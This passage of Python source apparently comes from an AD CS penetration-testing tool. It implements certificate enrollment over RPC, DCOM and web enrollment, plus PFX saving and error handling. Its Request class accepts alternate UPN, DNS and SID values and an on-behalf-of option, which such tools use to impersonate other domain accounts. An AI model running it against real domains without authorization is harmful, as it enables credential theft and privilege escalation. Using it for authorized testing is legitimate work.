uuidtup_to_bin((\"D99E6E70-FC88-11D0-B498-00A0C90312F3\", \"0.0\"))\n\n# Certificate disposition codes\nDISPOSITION_SUCCESS = 3\nDISPOSITION_PENDING = 5\n\n# =========================================================================\n# Protocol Structures for MS-WCCE and MS-ICPR\n# =========================================================================\n\n\nclass CERTTRANSBLOB(NDRSTRUCT):\n \"\"\"\n ASN.1 structure for certificate data transfer.\n\n Defined in [MS-WCCE] section 2.2.2.2\n \"\"\"\n\n structure = (\n (\"cb\", ULONG), # Size of the pb field\n (\"pb\", PBYTE), # Certificate data\n )\n\n\nclass CertServerRequest(NDRCALL):\n \"\"\"\n RPC interface for certificate requests.\n\n Defined in [MS-ICPR] section 3.1.4.1\n \"\"\"\n\n opnum = 0\n structure = (\n (\"dwFlags\", DWORD), # Request flags\n (\"pwszAuthority\", LPWSTR), # CA name\n (\"pdwRequestId\", DWORD), # Request ID\n (\"pctbAttribs\", CERTTRANSBLOB), # Request attributes\n (\"pctbRequest\", CERTTRANSBLOB), # Certificate request data\n )\n\n\nclass CertServerRequestD(DCOMCALL):\n \"\"\"\n DCOM interface for certificate requests.\n\n Defined in [MS-WCCE] section 3.1.1.4.3\n \"\"\"\n\n opnum = 3\n structure = (\n (\"dwFlags\", DWORD), # Request flags\n (\"pwszAuthority\", LPWSTR), # CA name\n (\"pdwRequestId\", DWORD), # Request ID\n (\"pwszAttributes\", LPWSTR), # Request attributes\n (\"pctbRequest\", CERTTRANSBLOB), # Certificate request data\n )\n\n\nclass CertServerRequestResponse(NDRCALL):\n \"\"\"\n RPC response structure for certificate requests.\n\n Defined in [MS-ICPR] section 3.1.4.1\n \"\"\"\n\n structure = (\n (\"pdwRequestId\", DWORD), # Request ID\n (\"pdwDisposition\", ULONG), # Request status\n (\"pctbCert\", CERTTRANSBLOB), # Certificate data\n (\"pctbEncodedCert\", CERTTRANSBLOB), # DER-encoded certificate\n (\"pctbDispositionMessage\", CERTTRANSBLOB), # Error message if applicable\n )\n\n\nclass CertServerRequestDResponse(DCOMANSWER):\n \"\"\"\n DCOM response structure for certificate requests.\n\n Defined in [MS-WCCE] section 3.1.1.4.3\n \"\"\"\n\n structure = (\n (\"pdwRequestId\", DWORD), # Request ID\n (\"pdwDisposition\", ULONG), # Request status\n (\"pctbCertChain\", CERTTRANSBLOB), # Certificate chain data\n (\"pctbEncodedCert\", CERTTRANSBLOB), # DER-encoded certificate\n (\"pctbDispositionMessage\", CERTTRANSBLOB), # Error message if applicable\n )\n\n\nclass ICertRequestD(ICertCustom):\n \"\"\"\n ICertRequestD DCOM interface implementation.\n \"\"\"\n\n def __init__(self, interface: IRemUnknown2):\n \"\"\"\n Initialize the ICertRequestD interface.\n\n Args:\n interface: IRemUnknown2 interface from DCOM connection\n \"\"\"\n super().__init__(interface)\n self._iid = IID_ICertRequestD\n\n\nclass DCERPCSessionError(rpcrt.DCERPCException):\n \"\"\"\n Custom exception for handling certificate request errors.\n\n Enhances error messages by translating error codes to human-readable messages.\n \"\"\"\n\n def __init__(\n self, error_string: Any = None, error_code: Any = None, packet: Any = None\n ):\n \"\"\"\n Initialize the DCERPCSessionError.\n\n Args:\n error_string: Error description\n error_code: Numeric error code\n packet: The RPC packet that caused the error\n \"\"\"\n rpcrt.DCERPCException.__init__(self, error_string, error_code, packet)\n\n def __str__(self) -> str:\n \"\"\"\n Format the error message with translated error code.\n\n Returns:\n Human-readable error message\n \"\"\"\n self.error_code &= 0xFFFFFFFF # type: ignore\n error_msg = translate_error_code(self.error_code)\n return f\"RequestSessionError: {error_msg}\"\n\n\n# =========================================================================\n# Request Interface Protocol\n# =========================================================================\n\n\nclass RequestInterface(Protocol):\n \"\"\"\n Protocol defining the interface for certificate request operations.\n\n This is the base class for different request methods (RPC, DCOM, Web).\n \"\"\"\n\n parent: \"Request\"\n\n def __init__(self, parent: \"Request\"):\n \"\"\"\n Initialize the request interface.\n\n Args:\n parent: The parent Request object\n \"\"\"\n self.parent = parent\n\n def retrieve(self, request_id: int) -> Union[x509.Certificate, None]:\n \"\"\"\n Retrieve a certificate by request ID.\n\n Args:\n request_id: The request ID to retrieve\n\n Returns:\n Certificate object if successful, None on failure\n \"\"\"\n ...\n\n def request(\n self, csr: bytes, attributes_list: List[str]\n ) -> Union[x509.Certificate, None]:\n \"\"\"\n Submit a certificate request.\n\n Args:\n csr: Certificate signing request data\n attributes_list: List of certificate attributes\n\n Returns:\n Certificate object if successful, None on failure\n \"\"\"\n ...\n\n\n# =========================================================================\n# Response Handlers\n# =========================================================================\n\n\ndef handle_rpc_retrieve_response(\n response: Dict[str, Any],\n) -> Optional[x509.Certificate]:\n \"\"\"\n Process the RPC certificate retrieval response.\n\n Args:\n response: The RPC response dictionary\n\n Returns:\n Certificate object if successful, None otherwise\n \"\"\"\n error_code = response[\"pdwDisposition\"]\n\n if error_code == DISPOSITION_SUCCESS:\n logging.info(\"Successfully retrieved certificate\")\n cert = der_to_cert(b\"\".join(response[\"pctbEncodedCert\"][\"pb\"]))\n return cert\n\n # Handle non-success cases\n if error_code == DISPOSITION_PENDING:\n logging.warning(\"Certificate request is still pending approval\")\n else:\n error_msg = translate_error_code(error_code)\n disposition_message = b\"\".join(response[\"pctbDispositionMessage\"][\"pb\"]).decode(\n \"utf-16le\"\n )\n\n if \"unknown error code\" in error_msg:\n logging.error(\n f\"Got unknown error while retrieving certificate: ({error_msg}): {disposition_message}\"\n )\n else:\n logging.error(f\"Got error while retrieving certificate: {error_msg}\")\n\n return None\n\n\ndef handle_rpc_request_response(\n response: Dict[str, Any],\n) -> Union[x509.Certificate, int]:\n \"\"\"\n Process the RPC certificate request response.\n\n Args:\n response: The RPC response dictionary\n\n Returns:\n Certificate object if immediately successful, or request ID if pending/failed\n \"\"\"\n error_code = response[\"pdwDisposition\"]\n request_id = response[\"pdwRequestId\"]\n\n # Always log the request ID\n logging.info(f\"Request ID is {request_id}\")\n\n # Handle success case\n if error_code == DISPOSITION_SUCCESS:\n logging.info(\"Successfully requested certificate\")\n cert = der_to_cert(b\"\".join(response[\"pctbEncodedCert\"][\"pb\"]))\n return cert\n\n # Handle non-success cases\n if error_code == DISPOSITION_PENDING:\n logging.warning(\"Certificate request is pending approval\")\n else:\n error_msg = translate_error_code(error_code)\n disposition_message = b\"\".join(response[\"pctbDispositionMessage\"][\"pb\"]).decode(\n \"utf-16le\"\n )\n\n if \"unknown error code\" in error_msg:\n logging.error(\n f\"Got unknown error while requesting certificate: ({error_msg}): {disposition_message}\"\n )\n else:\n logging.error(f\"Got error while requesting certificate: {error_msg}\")\n\n return request_id\n\n\n# ============== Certificate Processing Functions ==============\n\n\ndef handle_request_response(\n cert: x509.Certificate,\n key: PrivateKeyTypes,\n username: str,\n subject: Optional[str] = None,\n alt_sid: Optional[str] = None,\n out: Optional[str] = None,\n pfx_password: Optional[str] = None,\n) -> Tuple[bytes, str]:\n \"\"\"\n Process a successful certificate request by saving the certificate and private key.\n\n Args:\n cert: The issued certificate\n key: The private key\n username: The username associated with the certificate\n subject: Optional subject name\n alt_sid: Optional alternate SID\n out: Optional output filename\n pfx_password: Optional PFX password\n\n Returns:\n Tuple of (pfx_data, output_filename)\n \"\"\"\n # Log subject info if available\n if subject:\n subject_str = \",\".join(map(lambda x: x.rfc4514_string(), cert.subject.rdns))\n logging.info(f\"Got certificate with subject: {subject_str}\")\n\n # Extract and display certificate information\n identities = get_identities_from_certificate(cert)\n print_certificate_identities(identities)\n\n # Check and log object SID information\n object_sid = get_object_sid_from_certificate(cert)\n if object_sid is not None:\n logging.info(f\"Certificate object SID is {object_sid!r}\")\n else:\n logging.info(\"Certificate has no object SID\")\n if not alt_sid:\n logging.info(\n \"Try using -sid to set the object SID or see the wiki for more details\"\n )\n\n # Determine output filename\n out_filename = _determine_output_filename(out, identities, username)\n\n # Create PFX and save to file\n pfx = create_pfx(key, cert, pfx_password)\n\n outfile = f\"{out_filename}.pfx\"\n logging.info(f\"Saving certificate and private key to {outfile!r}\")\n saved_path = try_to_save_file(pfx, outfile)\n logging.info(f\"Wrote certificate and private key to {saved_path!r}\")\n\n return pfx, saved_path\n\n\ndef handle_retrieve(\n cert: x509.Certificate,\n request_id: int,\n username: str,\n out: Optional[str] = None,\n pfx_password: Optional[str] = None,\n) -> bool:\n \"\"\"\n Process a retrieved certificate by saving it with the private key if available.\n\n Args:\n cert: The retrieved certificate\n request_id: The certificate request ID\n username: The username associated with the certificate\n out: Optional output filename\n pfx_password: Optional PFX password\n\n Returns:\n True if successful\n \"\"\"\n # Extract and display certificate information\n identities = get_identities_from_certificate(cert)\n print_certificate_identities(identities)\n\n # Check and log object SID information\n object_sid = get_object_sid_from_certificate(cert)\n if object_sid is not None:\n logging.info(f\"Certificate object SID is {object_sid!r}\")\n else:\n logging.info(\"Certificate has no object SID\")\n\n # Determine output filename\n out_filename = _determine_output_filename(out, identities, username)\n\n # Try to find matching private key and save as PFX if found\n try:\n key_path = f\"{request_id}.key\"\n with open(key_path, \"rb\") as f:\n key = pem_to_key(f.read())\n\n logging.info(f\"Loaded private key from {key_path!r}\")\n pfx = create_pfx(key, cert, pfx_password)\n\n output_path = f\"{out_filename}.pfx\"\n logging.info(f\"Saving certificate and private key to {output_path!r}\")\n saved_path = try_to_save_file(pfx, output_path)\n logging.info(f\"Wrote certificate and private key to {saved_path!r}\")\n except Exception:\n # If no key found, save just the certificate as PEM\n logging.warning(\n \"Could not find matching private key. Saving certificate as PEM\"\n )\n handle_error(True)\n\n output_path = f\"{out_filename}.crt\"\n logging.info(f\"Saving certificate to {output_path!r}\")\n saved_path = try_to_save_file(cert_to_pem(cert), output_path)\n logging.info(f\"Wrote certificate to {saved_path!r}\")\n\n return True\n\n\ndef handle_pending_key_save(\n request_id: int, key: PrivateKeyTypes, out: Optional[str] = None\n) -> None:\n \"\"\"\n Offer to save the private key for pending certificate requests.\n\n Args:\n request_id: The certificate request ID\n key: The private key to save\n out: Optional output filename for the private key\n \"\"\"\n should_save = input(\"Would you like to save the private key? (y/N): \")\n\n if should_save.strip().lower() == \"y\":\n output_path = f\"{out if out is not None else str(request_id)}.key\"\n\n try:\n logging.info(f\"Saving private key to {output_path!r}\")\n saved_path = try_to_save_file(key_to_pem(key), output_path)\n logging.info(f\"Wrote private key to {saved_path!r}\")\n except Exception as e:\n logging.error(f\"Failed to save private key: {e}\")\n handle_error()\n\n\n# =========================================================================\n# Web Request Handlers\n# =========================================================================\n\n\ndef web_request(\n session: httpx.Client,\n username: str,\n csr: Union[str, bytes, x509.CertificateSigningRequest],\n attributes_list: List[str],\n template: str,\n key: PrivateKeyTypes,\n out: Optional[str] = None,\n) -> Optional[x509.Certificate]:\n \"\"\"\n Request a certificate via the web enrollment interface.\n\n Args:\n session: HTTP session client\n username: Username for the certificate\n csr: Certificate signing request (bytes or object)\n attributes_list: List of certificate attributes\n template: Certificate template name\n key: Private key for the certificate\n out: Optional output filename\n\n Returns:\n Certificate if immediately issued, None otherwise\n \"\"\"\n # Convert CSR to PEM format if needed\n if isinstance(csr, x509.CertificateSigningRequest):\n csr_pem = csr_to_pem(csr).decode()\n elif isinstance(csr, bytes):\n csr_pem = der_to_pem(csr, \"CERTIFICATE REQUEST\")\n else:\n # Already in PEM format\n csr_pem = csr\n\n attributes = \"\\n\".join(attributes_list)\n\n # Build request parameters\n params = {\n \"Mode\": \"newreq\",\n \"CertAttrib\": attributes,\n \"CertRequest\": csr_pem,\n \"TargetStoreFlags\": \"0\",\n \"SaveCert\": \"yes\",\n \"ThumbPrint\": \"\",\n }\n\n logging.info(\n f\"Requesting certificate for {username!r} based on the template {template!r}\"\n )\n\n # Send certificate request\n try:\n res = session.post(\"/certsrv/certfnsh.asp\", data=params)\n content = res.text\n\n # Handle HTTP errors\n if res.status_code != 200:\n logging.error(f\"Failed to request certificate (HTTP {res.status_code})\")\n _log_response_if_verbose(content)\n return None\n\n # Check for successful issuance (certificate ready for download)\n request_id_matches = re.findall(r\"certnew.cer\\?ReqID=([0-9]+)&\", content)\n if request_id_matches:\n request_id = int(request_id_matches[0])\n logging.info(f\"Certificate issued with request ID {request_id}\")\n return web_retrieve(session, request_id)\n\n # Handle various error conditions\n if \"template that is not supported\" in content:\n logging.error(f\"Template {template!r} is not supported by AD CS\")\n else:\n # Try to find request ID in other format\n request_id_matches = re.findall(r\"Your Request Id is ([0-9]+)\", content)\n if request_id_matches:\n request_id = int(request_id_matches[0])\n logging.info(f\"Request ID is {request_id}\")\n\n if \"Certificate Pending\" in content:\n logging.warning(\"Certificate request is pending approval\")\n elif '\"Denied by Policy Module\"' in content:\n _handle_policy_denial(session, request_id)\n else:\n _handle_other_errors(content)\n else:\n _handle_other_errors(content)\n\n # For pending requests, save the private key if requested\n request_id_matches = re.findall(r\"Your Request Id is ([0-9]+)\", content)\n if request_id_matches:\n request_id = int(request_id_matches[0])\n handle_pending_key_save(request_id, key, out)\n\n return None\n\n except Exception as e:\n logging.error(f\"Error during web certificate request: {e}\")\n handle_error()\n return None\n\n\ndef web_retrieve(\n session: httpx.Client,\n request_id: int,\n) -> Optional[x509.Certificate]:\n \"\"\"\n Retrieve a certificate via the web enrollment interface.\n\n Args:\n session: HTTP session client\n request_id: The certificate request ID\n\n Returns:\n Certificate if successfully retrieved, None otherwise\n \"\"\"\n logging.info(f\"Retrieving certificate for request ID: {request_id}\")\n\n try:\n # Request the certificate\n res = session.get(\"/certsrv/certnew.cer\", params={\"ReqID\": request_id})\n\n if res.status_code != 200:\n logging.error(f\"Error retrieving certificate (HTTP {res.status_code})\")\n _log_response_if_verbose(res.text)\n return None\n\n # Handle PEM-format certificate\n if b\"BEGIN CERTIFICATE\" in res.content:\n return pem_to_cert(res.content)\n\n # Handle DER-format certificate\n if res.headers.get(\"Content-Type\") == \"application/pkix-cert\":\n return der_to_cert(res.content)\n\n # Handle error conditions\n content = res.text\n if \"Taken Under Submission\" in content:\n logging.warning(\"Certificate request is pending approval\")\n elif \"The requested property value is empty\" in content:\n logging.warning(f\"Unknown request ID {request_id}\")\n else:\n # Try to extract error code\n error_codes = re.findall(r\" (0x[0-9a-fA-F]+) \\(\", content)\n try:\n error_code_int = int(error_codes[0], 16)\n msg = translate_error_code(error_code_int)\n logging.warning(f\"Got error from AD CS: {msg}\")\n except Exception:\n logging.warning(\"Got unknown error from AD CS\")\n _log_response_if_verbose(content)\n\n return None\n\n except Exception as e:\n logging.error(f\"Error during web certificate retrieval: {e}\")\n handle_error()\n return None\n\n\n# =========================================================================\n# Helper Functions\n# =========================================================================\n\n\ndef _determine_output_filename(\n out: Optional[str], identities: List[Tuple[str, str]], username: str\n) -> str:\n \"\"\"\n Determine the output filename to use for saving certificates/keys.\n\n Args:\n out: User-specified output name (if any)\n identities: List of certificate identities\n username: The username associated with the certificate\n\n Returns:\n The output filename (without extension)\n \"\"\"\n if out is not None:\n return out.removesuffix(\".pfx\")\n\n # Try to derive filename from certificate identity\n cert_username, _ = cert_id_to_parts(identities) # type: ignore\n if cert_username is not None:\n return cert_username.rstrip(\"$\").lower()\n\n # Fallback to provided username\n return username.rstrip(\"$\").lower()\n\n\ndef _handle_policy_denial(session: httpx.Client, request_id: int) -> None:\n \"\"\"\n Handle certificate request denied by policy.\n\n Args:\n session: HTTP session client\n request_id: The certificate request ID\n \"\"\"\n try:\n res = session.get(\"/certsrv/certnew.cer\", params={\"ReqID\": request_id})\n\n error_codes = re.findall(\n r\"(0x[a-zA-Z0-9]+) \\([-]?[0-9]+ \", res.text, flags=re.MULTILINE\n )\n if error_codes:\n error_msg = translate_error_code(int(error_codes[0], 16))\n logging.error(f\"Certificate request denied: {error_msg}\")\n else:\n logging.error(\n \"Certificate request denied by policy module (no error code available)\"\n )\n _log_response_if_verbose(res.text)\n\n except Exception as e:\n logging.error(f\"Error retrieving denial details: {e}\")\n handle_error(True)\n\n\ndef _handle_other_errors(content: str) -> None:\n \"\"\"\n Handle other certificate request errors.\n\n Args:\n content: Response content\n \"\"\"\n error_code_matches = re.findall(\n r\"Denied by Policy Module (0x[0-9a-fA-F]+),\", content\n )\n\n try:\n if error_code_matches:\n error_code = int(error_code_matches[0], 16)\n msg = translate_error_code(error_code)\n logging.error(f\"Got error from AD CS: {msg}\")\n else:\n # Try other error code formats\n error_codes = re.findall(r\"Error Number: (0x[0-9a-fA-F]+)\", content)\n if error_codes:\n error_code = int(error_codes[0], 16)\n msg = translate_error_code(error_code)\n logging.error(f\"Got error from AD CS: {msg}\")\n else:\n logging.error(\"Unknown error from AD CS\")\n _log_response_if_verbose(content)\n except Exception:\n logging.error(\"Failed to parse error message from AD CS\")\n _log_response_if_verbose(content)\n\n\ndef _log_response_if_verbose(content: str) -> None:\n \"\"\"\n Log response content if verbose logging is enabled.\n\n Args:\n content: Response content to log\n \"\"\"\n if is_verbose():\n print(content)\n else:\n logging.warning(\"Use -debug to print the response\")\n\n\n# =========================================================================\n# Request Interface Implementations\n# =========================================================================\n\n\nclass DCOMRequestInterface:\n \"\"\"\n Request interface for DCOM communication with Certificate Services.\n \"\"\"\n\n def __init__(self, parent: \"Request\"):\n \"\"\"\n Initialize the DCOM request interface.\n\n Args:\n parent: The parent Request object\n \"\"\"\n self.parent = parent\n self._dcom: Optional[DCOMConnection] = None\n\n @property\n def dcom(self) -> DCOMConnection:\n \"\"\"\n Get or establish a DCOM connection to the certificate authority.\n\n Returns:\n Active DCOM connection\n\n Raises:\n Exception: If target is not set or connection fails\n \"\"\"\n if self._dcom is not None:\n return self._dcom\n\n self._dcom = get_dcom_connection(self.parent.target)\n return self._dcom\n\n def retrieve(self, request_id: int) -> Optional[x509.Certificate]:\n \"\"\"\n Retrieve a certificate by request ID via DCOM.\n\n Args:\n request_id: The request ID to retrieve\n\n Returns:\n Certificate object if successful, None on failure\n \"\"\"\n # Prepare empty blob for request\n empty = CERTTRANSBLOB()\n empty[\"cb\"] = 0\n empty[\"pb\"] = NULL\n\n # Build the request structure\n request = CertServerRequestD()\n request[\"dwFlags\"] = 0\n request[\"pwszAuthority\"] = checkNullString(self.parent.ca)\n request[\"pdwRequestId\"] = request_id\n request[\"pwszAttributes\"] = empty\n request[\"pctbRequest\"] = empty\n\n logging.info(f\"Retrieving certificate with ID {request_id}\")\n\n # Create and configure the DCOM interface\n i_cert_req = self.dcom.CoCreateInstanceEx(CLSID_ICertRequest, IID_ICertRequestD)\n i_cert_req.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore\n\n # Submit the request\n cert_req_d = ICertRequestD(i_cert_req)\n response = cert_req_d.request(request)\n\n result = handle_rpc_request_response(response)\n\n if isinstance(result, int):\n return None\n\n return result\n\n def request(\n self, csr: bytes, attributes_list: List[str]\n ) -> Optional[x509.Certificate]:\n \"\"\"\n Submit a certificate request via DCOM.\n\n Args:\n csr: Certificate signing request data\n attributes_list: List of certificate attributes\n\n Returns:\n Certificate object if successful, None on failure\n \"\"\"\n # Check if the private key is available\n if self.parent.key is None:\n raise Exception(\"No private key found\")\n\n # Format attributes\n attributes = checkNullString(\"\\n\".join(attributes_list))\n\n # Prepare the certificate request data\n pctb_request = CERTTRANSBLOB()\n pctb_request[\"cb\"] = len(csr)\n pctb_request[\"pb\"] = csr\n\n # Build the request structure\n request = CertServerRequestD()\n request[\"dwFlags\"] = 0\n request[\"pwszAuthority\"] = checkNullString(self.parent.ca)\n request[\"pdwRequestId\"] = self.parent.request_id or 0\n request[\"pwszAttributes\"] = attributes\n request[\"pctbRequest\"] = pctb_request\n\n logging.info(\"Requesting certificate via DCOM\")\n\n # Create and configure the DCOM interface\n i_cert_req = self.dcom.CoCreateInstanceEx(CLSID_ICertRequest, IID_ICertRequestD)\n i_cert_req.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore\n\n # Submit the request\n cert_req_d = ICertRequestD(i_cert_req)\n response = cert_req_d.request(request)\n\n result = handle_rpc_request_response(response)\n\n if isinstance(result, x509.Certificate):\n return result\n\n # Ask if the user wants to save the private key for pending requests\n handle_pending_key_save(result, self.parent.key, self.parent.out)\n\n return None\n\n\nclass RPCRequestInterface:\n \"\"\"\n Request interface for RPC communication with Certificate Services.\n \"\"\"\n\n def __init__(self, parent: \"Request\"):\n \"\"\"\n Initialize the RPC request interface.\n\n Args:\n parent: The parent Request object\n \"\"\"\n self.parent = parent\n self._dce = None\n\n @property\n def dce(self) -> Optional[rpcrt.DCERPC_v5]:\n \"\"\"\n Get or establish an RPC connection to the certificate authority.\n\n Returns:\n Active RPC connection\n\n Raises:\n Exception: If target is not set or connection fails\n \"\"\"\n if self._dce is not None:\n return self._dce\n\n if not MSRPC_UUID_ICPR:\n # Should never happen\n raise Exception(\"Failed to get MSRPC UUID for ICertRequest\")\n\n self._dce = get_dce_rpc(\n MSRPC_UUID_ICPR,\n \"\\\\pipe\\\\cert\",\n self.parent.target,\n timeout=self.parent.target.timeout,\n dynamic=self.parent.dynamic,\n )\n\n return self._dce\n\n def dce_request(self, request: NDRCALL) -> Dict[str, Any]:\n \"\"\"\n Send a DCE RPC request and handle the response.\n\n This wrapper method properly handles the DCE RPC request to ensure static\n code analysis tools correctly understand the return value. The underlying\n impacket.dcerpc.v5.rpcrt.DCERPC_v5.request method has type annotation\n issues that cause some analyzers to think it never returns.\n\n Args:\n request: The RPC request structure to send\n\n Returns:\n Dict containing the parsed response\n\n Raises:\n Exception: If the DCE RPC connection isn't established or request fails\n \"\"\"\n if self.dce is None:\n raise Exception(\"Failed to get DCE RPC connection\")\n\n # Call the underlying request method with error checking disabled\n # We manually handle errors to provide better error messages\n return self.dce.request(request, checkError=False)\n\n def retrieve(self, request_id: int) -> Optional[x509.Certificate]:\n \"\"\"\n Retrieve a certificate by request ID via RPC.\n\n Args:\n request_id: The request ID to retrieve\n\n Returns:\n Certificate object if successful, False on failure\n \"\"\"\n # Prepare empty blob for request\n empty = CERTTRANSBLOB()\n empty[\"cb\"] = 0\n empty[\"pb\"] = NULL\n\n # Build the request structure\n request = CertServerRequest()\n request[\"dwFlags\"] = 0\n request[\"pwszAuthority\"] = checkNullString(self.parent.ca)\n request[\"pdwRequestId\"] = request_id\n request[\"pctbAttribs\"] = empty\n request[\"pctbRequest\"] = empty\n\n logging.info(f\"Retrieving certificate with ID {request_id}\")\n\n # Submit the request\n response = self.dce_request(request)\n\n # Process the response\n return handle_rpc_retrieve_response(response)\n\n def request(\n self, csr: bytes, attributes_list: List[str]\n ) -> Optional[x509.Certificate]:\n \"\"\"\n Submit a certificate request via RPC.\n\n Args:\n csr: Certificate signing request data\n attributes_list: List of certificate attributes\n\n Returns:\n Certificate object if successful, False on failure\n \"\"\"\n # Check if the private key is available\n if self.parent.key is None:\n raise Exception(\"No private key found\")\n\n # Format attributes\n attributes = checkNullString(\"\\n\".join(attributes_list)).encode(\"utf-16le\")\n\n # Prepare attribute blob\n pctb_attribs = CERTTRANSBLOB()\n pctb_attribs[\"cb\"] = len(attributes)\n pctb_attribs[\"pb\"] = attributes\n\n # Prepare request blob\n pctb_request = CERTTRANSBLOB()\n pctb_request[\"cb\"] = len(csr)\n pctb_request[\"pb\"] = csr\n\n # Build the request structure\n request = CertServerRequest()\n request[\"dwFlags\"] = 0\n request[\"pwszAuthority\"] = checkNullString(self.parent.ca)\n request[\"pdwRequestId\"] = self.parent.request_id or 0\n request[\"pctbAttribs\"] = pctb_attribs\n request[\"pctbRequest\"] = pctb_request\n\n logging.info(\"Requesting certificate via RPC\")\n\n if self.dce is None:\n raise Exception(\"Failed to get DCE RPC connection\")\n\n # Submit the request\n response = self.dce_request(request)\n\n result = handle_rpc_request_response(response)\n\n if isinstance(result, x509.Certificate):\n return result\n\n # Ask if the user wants to save the private key for pending requests\n handle_pending_key_save(result, self.parent.key, self.parent.out)\n\n return None\n\n\nclass WebRequestInterface:\n \"\"\"\n Request interface for Web Enrollment communication with Certificate Services.\n \"\"\"\n\n def __init__(self, parent: \"Request\"):\n \"\"\"\n Initialize the Web Enrollment request interface.\n\n Args:\n parent: The parent Request object\n \"\"\"\n self.parent = parent\n self.target = self.parent.target\n self._session = None\n self.base_url = \"\"\n\n @property\n def session(self) -> Optional[httpx.Client]:\n \"\"\"\n Get or establish an HTTP session to the certificate authority.\n\n Returns:\n Active HTTP session, or None if connection failed\n\n Raises:\n Exception: If target is not set or connection fails\n \"\"\"\n if self._session is not None:\n return self._session\n\n # Try the specified scheme and port first\n scheme = self.parent.http_scheme or \"https\"\n port = self.parent.http_port or (443 if scheme == \"https\" else 80)\n\n base_url = f\"{scheme}://{self.target.target_ip}:{port}\"\n\n # Create a session with httpx with appropriate authentication\n if self.target.do_kerberos:\n session = httpx.Client(\n base_url=base_url,\n auth=HttpxKerberosAuth(\n self.target, channel_binding=not self.parent.no_channel_binding\n ),\n timeout=self.target.timeout,\n verify=False,\n )\n else:\n session = httpx.Client(\n base_url=base_url,\n auth=HttpxNtlmAuth(\n self.target, channel_binding=not self.parent.no_channel_binding\n ),\n timeout=self.target.timeout,\n verify=False,\n )\n\n logging.info(f\"Checking for Web Enrollment on {base_url!r}\")\n success = self._try_connection(session)\n\n # If the first attempt fails, try the alternative scheme\n if not success:\n alt_scheme = \"http\" if scheme == \"https\" else \"https\"\n alt_port = 80 if alt_scheme == \"http\" else 443\n\n base_url = f\"{alt_scheme}://{self.target.target_ip}:{alt_port}\"\n logging.info(f\"Trying to connect to Web Enrollment interface {base_url!r}\")\n\n session.base_url = base_url\n\n success = self._try_connection(session)\n\n if not success:\n logging.error(\"Could not connect to Web Enrollment\")\n return None\n\n self.base_url = base_url\n self._session = session\n return self._session\n\n def _try_connection(self, session: httpx.Client) -> bool:\n \"\"\"\n Try to connect to the Web Enrollment interface.\n\n Args:\n session: HTTP session to use\n base_url: Base URL to connect to\n\n Returns:\n True if connection was successful, False otherwise\n \"\"\"\n headers = {\n \"User-Agent\": USER_AGENT,\n }\n host_value = self.target.remote_name or self.target.target_ip\n if host_value:\n headers[\"Host\"] = host_value\n\n try:\n res = session.get(\n \"/certsrv/\",\n headers=headers,\n timeout=self.target.timeout,\n follow_redirects=False,\n )\n\n if res.status_code == 200:\n return True\n elif res.status_code == 401:\n logging.error(\n f\"Unauthorized for Web Enrollment at {session.base_url!r}\"\n )\n else:\n logging.warning(\n f\"Failed to authenticate to Web Enrollment at {session.base_url!r}\"\n )\n logging.debug(f\"Got status code: {res.status_code!r}\")\n if is_verbose():\n print(res.text)\n\n except Exception as e:\n logging.warning(f\"Failed to connect to Web Enrollment interface: {e}\")\n handle_error(True)\n\n return False\n\n def retrieve(self, request_id: int) -> Optional[x509.Certificate]:\n \"\"\"\n Retrieve a certificate by request ID via Web Enrollment.\n\n Args:\n request_id: The request ID to retrieve\n\n Returns:\n Certificate object if successful, None on failure\n \"\"\"\n if self.session is None:\n raise Exception(\"Failed to get HTTP session\")\n\n return web_retrieve(\n self.session,\n request_id,\n )\n\n def request(\n self, csr: bytes, attributes_list: List[str]\n ) -> Optional[x509.Certificate]:\n \"\"\"\n Submit a certificate request via Web Enrollment.\n\n Args:\n csr_bytes: Certificate signing request data\n attributes_list: List of certificate attributes\n\n Returns:\n Certificate object if successful, None on failure\n \"\"\"\n # Check if the private key is available\n if self.parent.key is None:\n raise Exception(\"No private key found\")\n\n if self.session is None:\n raise Exception(\"Failed to get HTTP session\")\n\n return web_request(\n self.session,\n self.target.username,\n csr,\n attributes_list,\n self.parent.template,\n self.parent.key,\n self.parent.out,\n )\n\n\n# =========================================================================\n# Main Request class\n# =========================================================================\n\n\nclass Request:\n \"\"\"\n Main class for certificate operations with AD CS.\n\n This class provides functionality for requesting, retrieving, and managing\n certificates from Active Directory Certificate Services.\n \"\"\"\n\n def __init__(\n self,\n target: Target,\n ca: Optional[str] = None,\n template: str = \"User\",\n upn: Optional[str] = None,\n dns: Optional[str] = None,\n sid: Optional[str] = None,\n subject: Optional[str] = None,\n application_policies: Optional[List[str]] = None,\n smime: Optional[str] = None,\n retrieve: Optional[int] = None,\n on_behalf_of: Optional[str] = None,\n pfx: Optional[str] = None,\n pfx_password: Optional[str] = None,\n key_size: int = 2048,\n archive_key: bool = False,\n cax_cert: bool = False,\n renew: bool = False,\n out: Optional[str] = None,\n key: Optional[rsa.RSAPrivateKey] = None,\n web: bool = False,\n dcom: bool = False,\n http_scheme: Optional[str] = None,\n http_port: Optional[int] = None,\n no_channel_binding: bool = False,\n dynamic_endpoint: bool = False,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize a certificate request object.\n\n Args:\n target: Target information including host and authentication\n ca: Certificate Authority name\n template: Certificate template name\n upn: Alternative UPN (User Principal Name)\n dns: Alternative DNS name\n sid: Alternative SID (Security Identifier)\n subject: Certificate subject name\n application_policies: List of application policy OIDs\n smime: SMIME capability identifier\n retrieve: Request ID to retrieve\n on_behalf_of: Username to request on behalf of\n pfx: Path to PKCS#12/PFX file\n pfx_password: Password for PFX file\n key_size: RSA key size in bits\n archive_key: Whether to archive the private key\n cax_cert: Whether to retrieve the CAX certificate\n renew: Whether to renew an existing certificate\n out: Output file path\n key: Pre-generated RSA key\n web: Use Web Enrollment instead of RPC\n dcom: Use DCOM instead of RPC\n port: Port for Web Enrollment\n scheme: Scheme for Web Enrollment (http/https)\n dynamic_endpoint: Use dynamic RPC endpoint\n \"\"\"\n # Core parameters\n self.target = target\n self.ca = ca\n self.template = template\n self.alt_upn = upn\n self.alt_dns = dns\n self.alt_sid = sid\n self.subject = subject\n self.request_id = int(retrieve) if retrieve else None\n self.on_behalf_of = on_behalf_of\n self.pfx = pfx\n self.pfx_password = pfx_password\n self.key_size = key_size\n self.archive_key = archive_key\n self.cax_cert = cax_cert\n self.renew = renew\n self.out = out\n self.key = key\n\n # Convert application policy names to OIDs\n 